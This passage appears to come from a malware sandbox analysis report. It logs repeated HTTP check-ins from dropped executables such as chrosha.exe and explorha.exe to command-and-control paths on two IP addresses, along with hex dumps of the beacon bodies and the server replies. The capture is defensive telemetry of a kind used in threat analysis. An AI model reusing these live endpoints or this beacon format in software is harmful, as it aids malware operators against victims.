6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Apr 19, 2024 03:33:02.312182903 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Apr 19, 2024 03:33:04.713609934 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Apr 19, 2024 03:33:09.519361973 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.5	50093	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:08.399171114 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:08.652082920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.5	50096	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:08.557076931 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:08.814207077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.5	50097	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:09.003595114 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:09.242697001 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.5	50098	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:09.179227114 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:09.423626900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.5	50099	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:09.454112053 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:09.708194017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.5	50100	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:09.496159077 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:09.750339031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.5	50101	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:10.070673943 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:10.316658020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.5	50102	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:10.119183064 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:10.363306046 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.5	50104	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:10.614137888 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:10.866561890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.5	50105	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:10.699224949 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:10.946702957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.5	50106	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:11.193897963 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:11.440952063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.5	50107	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:11.227988005 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:11.473793030 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.5	50108	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:11.725832939 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:11.979868889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.5	50109	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:11.801348925 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:12.045923948 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.5	50110	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:12.298801899 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:12.551703930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.5	50111	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:12.339152098 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:12.586751938 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.5	50112	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:12.836157084 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:13.086575985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.5	50113	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:12.902077913 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:13.146429062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.5	50114	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
